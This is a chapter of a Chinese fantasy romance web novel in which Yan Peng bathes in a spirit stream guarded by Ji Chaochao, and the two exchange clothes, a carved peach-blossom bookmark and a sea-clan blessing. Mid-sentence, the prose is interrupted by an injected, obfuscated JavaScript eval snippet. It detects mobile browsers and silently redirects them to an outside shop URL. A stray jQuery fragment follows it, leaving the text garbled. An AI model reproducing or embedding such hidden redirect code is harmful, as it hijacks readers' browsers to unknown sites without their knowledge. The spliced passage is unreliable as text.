没有听到晏芃回应,顿了顿,他又解释,“不是捉弄你,是这丹药药性霸道,一颗便能抵寻常十倍,你若是自己在屋子里吃了,肯定来不及换洗。”
“这山里的小溪自带灵气,用来冲洗再好不过,恰巧我在你身边守着,也能防止别的物种打扰。”
纪朝朝耐心地解释着,语气很是和缓。
说完后,山林里便只剩下他奔走的声音,见晏芃不说话,他抿了抿嘴,有些不安。
“抱歉,我下次应该跟你说清楚。”
晏芃:“……”
其实也不用道歉,他考虑得很周到,也怪让人安心的,晏芃不说话只是因为有点社死。
“哼,下不为例。”
她安静了下来,不愿意多动,免得脏东西又糊回自己身上。任由纪朝朝挑着,不知过了多久,才被稳稳地放在地面。
“到了。”
在水边,纪朝朝的能力会达到大幅度加强,他召唤一个巨大的水泡隔离出一片私人空间。
“我会在附近守着,你等我走远了再出来,放心,只要你不离开这个水泡,这片空间便只属于你。”
纪朝朝又嘱咐了一些注意事项,声音才逐渐消失了,晏芃感受到他真的走远后,才探头探脑地爬出来。
“噗通!”一声。
她跳进了水里。
果然如纪朝朝所言,身上涌出来的脏东西特别顽固,这些东西仅仅在家洗是洗不干净的。
还得这种带着灵气的小溪才能冲干净。
小溪不知流向何处,冲出来的脏水被纪朝朝隔绝起来,成了一个黑乎乎的水泡,往林子里浇灌。
他连这个都想到了,没有污染水源。
晏芃只觉得脸热,太社死了,太社死了!!
身上已经停止冒出脏东西了,晏芃还是蹲在水里不肯出来。
月色下的溪水中央,只有一颗头固定在水面,远远看去,怪瘆人的。
不过,幸好这一片空间都被纪朝朝隔绝了,否则有人路过,不得被吓哭了。
另一边,纪朝朝开始忙碌地巡查四周,保证周围没有活物出现,就连小小的蝈蝈儿都要赶走。
他僵硬着头,就算是余光也不敢往河中央处去。
终于过了很久,纪朝朝的心情已然平复下来。
他微微蹙眉,“是不是泡太久了,泡发了怎么办?”
“可现在能去问吗?”纪朝朝有些纠结。
他掰下一截树枝,扯上面的叶子,“去问,不去问,去,不去……去问!”
晏芃隔着老远便看到一身白的他坐在石头上,长发尾端掉在地上,铺了浅浅一层。
她皱眉,过去将其捡了起来。
“在做什么?”
纪朝朝回神,将树枝迅速扔向不知名的黑暗角落,“洗好了?”
晏芃点头,“嗯。”
她现在面色红润,皮肤清透,五官没了疲色,浑身上下只余轻松。
见纪朝朝眼神闪躲,忐忑地问,“没洗干净吗?是不是还有味儿?”
“没有…算了,你过来点。”
纪朝朝拿出毛巾帮她擦头发,“怎么不穿我给你准备的衣服。”
“太白了,我怕踩在林子里会弄脏。”
“……哦。”
“怕什么,我可以背你回去,更何况,衣服脏了就脏了,又不是不能洗。”
他擦头发的动作很轻,晏芃便调整了个舒服的角度坐好,又听他开口,“知道你不爱洗衣服,没说让你洗。”
啊?
晏芃微微惊讶,意思是他来洗吗。
不好,她摇头,“大师姐送的衣服挺好的,能自动清洁,不用你那么辛苦。”
洗衣服有什么好辛苦的,反正他也要洗自己的,顺便搓了也不是不行。
晏芃道,“你的那件也还在空间里,要穿吗,我给你拿。”
闻言,纪朝朝才仔细观察起她身上衣服的款式,衣服较为修身,许是大师姐的个人喜好,上面挂了一些细小的铃铛。
晏芃一扭动便发出风铃般的轻响,因为是法衣,在月光下还发着浅浅的粉色荧光。
“你希望我穿吗?”
“你想穿吗?”
想穿给他拿,不想穿就留着吃灰,干嘛问她希不希望。
她的视线不经意往下,看到纪朝朝的衣服下摆与自己的混在一起,粉与白撞色,她忽然有了想法。
“我希望你穿。”
晏芃把衣服拿出来,纪朝朝的款式是白蓝挑染,与她的白粉渐变恰成一对。
他的衣襟上挂的不是铃铛,而是流苏碎珍珠,腰间还有贝壳吊坠,和他适配极了。
晏芃递给他,“这件衣服和你的眼睛很像,都很漂亮,材质也很柔软,我刚发现它还有调节温度的作用,穿上不会热也不会冷。”
她抱着衣服,莫名想象纪朝朝穿上的样子。比起不染尘埃的白,她还是希望纪他能有点人间的彩。
纪朝朝今夜并未描眉,眉梢睫毛也变成了和头发一样的颜色,长睫掩盖住瞳孔,未发一语。
良久,他才接过,“你说,我的眼睛…好看?”
晏芃点头,“嗯嗯,很好看,有时像星空,有时像大海。”
纪朝朝笑了,是一种闷着从胸腔溢出来的轻笑,他很开心,索性用法术弄干了她的头发。将下巴靠上去,搁置在晏芃头顶。
从背后绕过去一只手捂住她的眼睛,“好。”
“闭眼,我换。”
掌心下的睫毛滑过,带来丝丝痒意,晏芃难得很乖,很听话。
只一个呼吸,他便换好了衣服。
纪朝朝果然更适合清冷一点的风格,能最大程度放大他眸子的冷艳。
月光下,他整个人都很透亮,若有若无的疏离气质更显得不似凡人。
晏芃回头,惊喜道,“果然很适合你,非常漂亮,犹如神仙下凡!”
听罢,纪朝朝扬了扬下巴,骄傲道,“那是自然。”
“……”
空气安静了下来,气氛便陷入了沉默。两人谁也没提要回去的事。
这时,纪朝朝拿出一枚桃花书签,别扭地开口,“这是何意?”
花瓣的形状完美,瓣肉被挖出,只余丝丝缕缕的脉络,脉络有深有浅,组成一个图案在中央。
纪朝朝对着月光看过,她刻了一条小鱼在上面。
她送的这份礼物,是何意?
“上面刻的是我吗?”
晏芃点头,“是小鱼呀。”
“哦。”
刻他做什么,肥肥胖胖一点也不像,丑死了。
不过,纪朝朝还是将其小心收起来,怕弄碎了。
“不用这么小心,我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17816773|211074||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
刻了符篆在上面,很牢固。”
“你还刻了符篆?”
纪朝朝显然被震惊道,“你在花瓣上画画,还刻了符篆。”
一时间,他觉得自己被晏芃演了一道,有些人表面不学习,实则已经卷到了天边去。
“既然你上课并非不认真,你还甘愿受罚。”
晏芃挠挠脸,“听懂了是事实,打瞌睡也是事实。”
“……”
纪朝朝词穷,只能说天赋怪名副其实。
“这个不重要,重要的是,你把它带在身上,它会保佑你永远幸运。”
……
祝他幸运么。
千百年来,祝愿他身体健康,法力无边的多了,倒是头一次听到祝他幸运。
海族不比人间会表达,纪朝朝望着那枚花瓣,仿佛透过它看到了某人一针一针戳着纹路的安静模样。
他想,第一份幸运似乎已经降临了。
纪朝朝望着晏芃,她的眼睛真的很漂亮,漂亮到成了精,能胡乱撞进人心里去。
希望这花瓣能保存得更久一点,毕竟他也想一直幸运下去。
他收起花瓣,藏在衣服里的掌心暗暗发出了点点碎光。
“既然你送了我一个祝福,那我也送你一个。”
纪朝朝轻轻捧起她的脸,虔诚地低头,将额头靠上她的。
手掌包裹她的手背,翻转间便挤进掌心,她们早已习惯牵手,晏芃并未有太多抗拒。
纪朝朝的眼眸低垂,发现她也在看自己。嘴角忽而勾起一个浅浅的弧度,他带动着晏芃一起闭上眼睛。
掌心处发着浅蓝色的微光,像流动的星辰,围绕成一个阵法图腾。然后放大,将二人笼罩在中央。
额间相抵之处传来一股冰凉,凉意自额前浸透而下,润泽了晏芃的四肢百骸。
她仿佛听到了大海的涛声,古老的神明随日月更迭,潮起潮落,最终淹没在无垠的海面。
——那我便赐予你,沧溟深海,万水之渊,来自深海最崇高的祝愿。
……
遥远的大海深处,海面动荡,掀起一层层波涛,传递至更广阔的地方。
海水之下,不可及的深渊内,居住着一方种族。
潮灵们纷纷停下手中的活计,仰头看着自己的那片天。
天惊地动,海水翻涌,族群心念共鸣。
那是海神的回应!
海皇他,定下了深海最亘古浩瀚的契约——潮汐命契!
……
时间不知过了多久,晏芃才从恍惚中回神。她试探着睁开眼睛,发现纪朝朝已经坐了回去。
此时,他正从容地仰头看月亮,月亮也独独偏爱他,月光下每一根发丝都看着心情很好。
晏芃感受了一下额头,发现除了些许微凉,并无其他特别,她问,“你送了什么祝福?”
纪朝朝道,“祝你平安健康。”
就这么简单?
不过晏芃也确实没感受到身体有什么变化,她碰了碰额间,感受纪朝朝残余在上面的温度,想来着是海族独有的祝福方式吧。
她靠近纪朝朝一点,并肩而坐。
“天快亮了,我们就不回去了,一会儿直接去上课吧。”
“嗯。听你的。”
两人一起看着天空,看到月亮逐渐隐藏,直到黎明升起。